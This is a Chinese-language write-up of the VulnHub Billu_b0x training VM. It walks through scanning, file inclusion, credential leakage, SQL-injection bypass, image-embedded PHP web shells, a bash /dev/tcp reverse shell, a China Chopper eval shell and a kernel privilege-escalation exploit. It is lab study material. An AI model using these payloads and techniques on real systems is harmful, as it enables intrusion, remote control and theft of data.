VulnHub滲透實戰Billu_b0x
簡介
VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映象,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考oscp人員,也會利用vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。
參考了一些國外設計靶場一般分為幾個套路
1.資訊收集
2.漏洞挖掘
3.漏洞利用
4.許可權提升
5.內網資訊收集
下載連結
https://download.vulnhub.com/billu/Billu_b0x.zip
靶機說明
虛擬機器難度中等,使用ubuntu(32位),其他軟體包有:
PHP
apache
MySQL
目標
Boot to root:從Web應用程式進入虛擬機器,並獲得root許可權。
執行環境
靶機:使用VMWare開啟虛機,網路連線方式設定為net,靶機自動獲取IP。
攻擊機:同網段下有Windows攻擊機,安裝有Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、AWVS、Nessus等滲透工具,kali攻擊機,主要用Windows攻擊機完成實驗。
資訊收集
ip發現
啟動Billu_b0x虛擬機器,由於虛機網路設定為net模式,使用Nmap掃描VMware Network Adapter VMnet8網路卡的NAT網段C段IP,即可找到虛機IP,命令:
nmap -sP 192.168.64.1/24
獲得靶機ip 192.168.64.161
埠和服務識別
使用nmap掃描1-65535全埠,並做服務識別和深度掃描(加-A引數),掃描結果儲存到txt檔案,命令:
nmap -p1-65535 -A 192.168.64.161 -oN billu.txt
發現目標主機埠和服務如下:
埠 協議 後端服務
TCP 22 SSH OpenSSH 5.9p1
TCP 80 HTTP Apache httpd 2.2.22
進入web首頁:發現使用者名稱口令輸入框,並提示“Show me your SQLI skills”。
漏洞挖掘
漏洞挖掘思路:
(1) SQL隱碼攻擊:首頁提示注入,想辦法注入成功。
(2) 暴破目錄:用DirBuster暴破,看是否有新網頁,找新漏洞;
(3) 漏洞掃描:暴破的新網頁,送進AWVS或APPScan掃漏洞;
(4) 手動挖掘:暴破的新頁面,通過Firefox掛burp代理,在burp中觀察Request和Response包,手動找漏洞;
(5) 檢視每個網頁的原始碼,看是否有提示;。
(6) 如得到使用者名稱,密碼,嘗試登入ssh,如能連線上,無需反彈shell了。
步驟1:測試首頁SQL隱碼攻擊
(1) 在使用者名稱輸入框輸入admin' or 'a'='a --
密碼隨意,發現無法注入,出現js彈框Try again:
(2) 使用sqlmap進行post注入測試,命令:
sqlmap.py -u “http://192.168.64.161” –data “un=admin&ps=admin&login=let%27s+login” –level 3 –dbms mysql
sqlmap注入檢測完成,結果無法注入,目前不知道系統對注入的過濾規則是什麼,使用幾個sqlmap的tamper測試也未成功。暫時先不fuzz注入,看看暴破目錄。
步驟2:windows使用DirBuster暴破目錄,同時使用kali Linux的dirb暴破,為得到更多的暴破結果,並減少暴破時間:
得到頁面較多,test.php、add.php、in.php、c.php、index.php、show.php等,目錄有:uploaded_images,phpmy依次訪問:
步驟3:利用檔案包含漏洞獲取php原始碼、passwd檔案
(1) 訪問test.php:頁面提示file引數為空,需要提供file引數
測試檔案包含:http://192.168.64.161?file=/etc/passwd
發現無法包含,跳轉會首頁。
(2) 在Firefox的Hackbar或者Brupsuit中,將get請求,變更為post請求,檔案包含成功,獲得passwd檔案。
使用hackerbar post資料,可下載passwd檔案:
使用burpsuit中選擇Change request method,將get請求轉換為post請求,獲得passwd檔案成功:
(3) 通過同樣檔案包含的方法,下載add.php、in.php、c.php、index.php、show.php、panel.php等檔案,後面可以訪問檔案的同時,審計檔案的原始碼。
(4) 檢視passwd檔案,發現1個id 1000的賬號ica,ssh連線的使用者名稱可以是ica或root:
步驟4:訪問add.php、in.php頁面和審計程式碼
add.php是一個上傳介面,但是功能無法使用,檢視原始碼檔案發現只是個頁面,沒有後臺處理程式碼。in.php是php info資訊。
步驟5:檢視c.php原始碼
這是資料庫連線檔案,發現mysql連線使用者名稱密碼:
使用者名稱:billu
密碼:b0x_billu
資料庫名:ica_lab
步驟6:通過得到的mysql密碼登入phpmyadmin失敗
(1) 通過dirb暴破出/phpmy目錄,訪問該目錄到phpmyadmin登入頁面:
使用mysql密碼嘗試登入phpmyadmin:可是無法登入。目前得到一個ssh使用者是ica,mysql連線賬號billu和密碼b0x_billu,嘗試登入ssh和phpmyadmin都失敗。
目前SQL隱碼攻擊繞過沒有成功,得到的mysql連線密碼無法登入phpmyadmin。
初步推測虛擬機器故障:mysql沒有正常啟動,稍後打算單使用者模式進入Ubuntu排查。
步驟7:繼續暴破phpmy目錄,檔案包含phpmyadmin配置檔案
(1) phpmyadmin的預設的配置檔案是:config.inc.php。需要猜測路徑,通過URL猜測路徑預設在/var/www/phpmy下面。
(2) 在火狐瀏覽器的Hackbar或者Burpsuit中,通過檔案包含,讀取config.inc.php檔案,Hackbar的獲取方法:
在配置檔案中發現root密碼:roottoor
(3) Burpsuit的獲取方法:
步驟8:使用xshell ssh登入root賬號,完成實驗
步驟9:排查mysql故障
至此已經獲得root許可權,但是之前的phpmyadmin無法登入問題,懷疑mysql故障,root登入後,檢視mysql狀態為:mysql stop/waiting,推測mysql被之前的高執行緒目錄暴破、掃描導致故障,嘗試重啟mysql失敗,決定重新安裝虛擬機器。
虛機重新安裝後,ssh登入,檢視mysql執行狀態正常,但是新虛機的IP變成:192.168.64.162。
步驟10:回到步驟6,通過得到的mysql密碼登入phpmyadmin
使用者名稱:billu,密碼:b0x_billu,登入成功。
在ica_lab
資料庫的auth表中,找到web登入的使用者名稱:biLLu,密碼:hEx_it。
獲取shell
步驟11:登入index首頁,並獲得cmd shell和反彈shell
(1) 使用web密碼登入首頁,大小寫必須一樣。
登入後是賬號管理介面,賬號是加勒比海盜的兩位主角船長:傑克·斯帕羅和巴博薩船長。多寫一句,本人更喜歡巴博薩船長,一個像敵人一樣的海盜朋友,幽默、勇敢、陰險狡詐、霸道野心、老謀深算。
兩個賬號的頭像圖片地址,在之前暴破出來:http://192.168.64.162/uploaded_images/
(2) 點選add user進入新增賬號介面,這是一個圖片上傳,思路是利用圖片上傳和檔案包含獲得shell。
檢視之前test檔案包含獲得的panel.php原始碼,發現panel.php存在本地檔案包含漏洞:
下載一張http://192.168.64.162/uploaded_images/
中的圖片jack.php,文字編輯器開啟,在檔案中間或末尾加入一句話cmd命令馬<?php system($_GET['cmd']); ?>
將檔案上傳成功。
(3) 使用burp執行命令:post請求url中加入執行命令的引數:POST /panel.php?cmd=cat%20/etc/passwd;ls
post的body中包含cmd.jpg圖片馬:load=/uploaded_images/cmd.jpg&continue=continue
成功執行命令cat /etc/passwd;ls
(4) 用bash反彈shell
命令:echo “bash -i >& /dev/tcp/192.168.64.1/4444 0>&1″ | bash
需要將命令url編碼:
在post的url中傳送命令:
nc接收反彈shell成功:
步驟12:找一個可寫許可權目錄,寫入菜刀馬
檔案上傳目錄uploaded_images為寫許可權目錄,進入該目錄,寫一個菜刀馬:echo '<?php eval($_POST['123456']);?>' >> caidao.php
菜刀連線成功,方便傳檔案。
提升許可權
步驟13:檢視核心、系統版本,尋找提權exp
(1) 檢視系統核心版本,命令uanme -a
和cat /etc/issue
(2) 下載Ubuntu著名的本地提權漏洞exp:
https://www.exploit-db.com/exploits/37292/
步驟14:編譯、提權
(1) 賦予執行許可權
chmod 777 37292.c
(2) 編譯exp
gcc 37292.c -o exp
(3) 執行exp,提權至root
總結
正常的思路有3條路線可以突破:
思路1 構造注入:從test的檔案包含獲得index.php原始碼,原始碼中可檢視到過濾sql的方法,針對性構造sql注入,登入後獲取shell再提權。
(1) 審計index.php原始碼,發現以下過濾規則:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
str_replace的作用是將字串\’ 替換為空,因此構造SQL隱碼攻擊登入payload時,必須含有\’字串,否則會報錯。urldecode的作用是將輸入解碼。
(2) 常見的利用注入登入的payload是’ or 1=1 — 修改這個在最後增加\’,str_replace會將這個\’替換為空。
使用php線上除錯工具,測試如下:
(3) 注入成功,payload是’ or 1=1 — \’
後面獲取shell方法和上面實驗相同。
思路2:暴破出phpmyadmin,檔案包含從c.php獲得mysql密碼,登入phpmyadmin,再獲取shell。
思路3:檔案包含所有有許可權檢視的配置檔案,從phpmyadmin配置檔案獲得root密碼,然後ssh登入。該過程儘管mysql故障,也可以完成。
踩到的坑
(1) mysql被高執行緒目錄暴破和注入當機:導致phpmyadmin有正確密碼但無法登入,耗費較長時間。這是意外故障。因為之前的2個工具同時目錄暴破、sqlmap注入等執行緒過高,導致mysql死了。
(2) test.php檔案包含漏洞利用,get不行,改為post試試。包含成功後,要把各個頁面的原始碼拿下來審計。
(3) index.php的SQL隱碼攻擊花費不少時間,後來發現,即使不用sql注入,也有其他道路可以完成,通過phpmyadmin登入,繞過了注入。
(4) panel.php的檔案包含漏洞,如果不認真關注原始碼,難以發現。使用test.php的檔案包含,沒能觸發shell利用。
(5) 檔案上傳+檔案包含拿shell是靶機常用的方式,遇到兩個漏洞,可以熟練拿shell。
(6) 提權方法可以多關注主要的配置檔案、資料庫連線檔案、使用者的檔案;也可以利用Ubuntu已知漏洞本地提權。
相關文章
- 【滲透測試】Vulnhub DarkHole
- vulnhub devguru滲透筆記dev筆記
- VulnHub PowerGrid 1.0.1靶機滲透
- 【滲透測試】Vulnhub Hackable II
- TPLINK滲透實戰
- Me-and-My-Girlfriend-1靶機滲透 (Vulnhub內網滲透)內網
- VulnHub CengBox2靶機滲透
- 滲透測試-CTF-VulnHub - vedas
- kali滲透綜合靶機(八)--Billu_b0x靶機
- vulnhub-DC:8靶機滲透記錄
- vulnhub-DC:6靶機滲透記錄
- vulnhub-DC:7靶機滲透記錄
- vulnhub-DC:5靶機滲透記錄
- vulnhub-DC:2靶機滲透記錄
- vulnhub-DC:3靶機滲透記錄
- 滲透測試入門實戰
- 記一次實戰滲透
- Tr0ll: 1 Vulnhub靶機滲透筆記筆記
- 滲透測試工具實戰技巧合集
- 域滲透之ATT&CK實戰系列——紅隊實戰(一)
- Vulnhub實戰-rtemis靶機?
- Vulnhub實戰-doubletrouble靶機?
- Vulnhub實戰-FALL靶機?
- Kali Linux滲透測試實戰 第一章Linux
- 內網滲透-初探域滲透內網
- 2021年1月2日-VulnHub-W1R3S 滲透學習
- 滲透測試對app安全測試實戰過程分享APP
- 滲透測試公司實戰拿下客戶網站過程網站
- 滲透測試實驗二
- 網路滲透實驗四
- Vulnhub實戰-DockHole_1靶機?
- Vulnhub實戰-grotesque3靶機?
- VulnHub 實戰靶場Breach-1.0
- Vulnhub實戰-Dockhole_2靶機?
- DC-5靶場滲透實戰過程(個人學習)
- 記一次大型且細小的域滲透實戰
- wifi滲透WiFi
- Vulnhub實戰-JIS-CTF_VulnUpload靶機?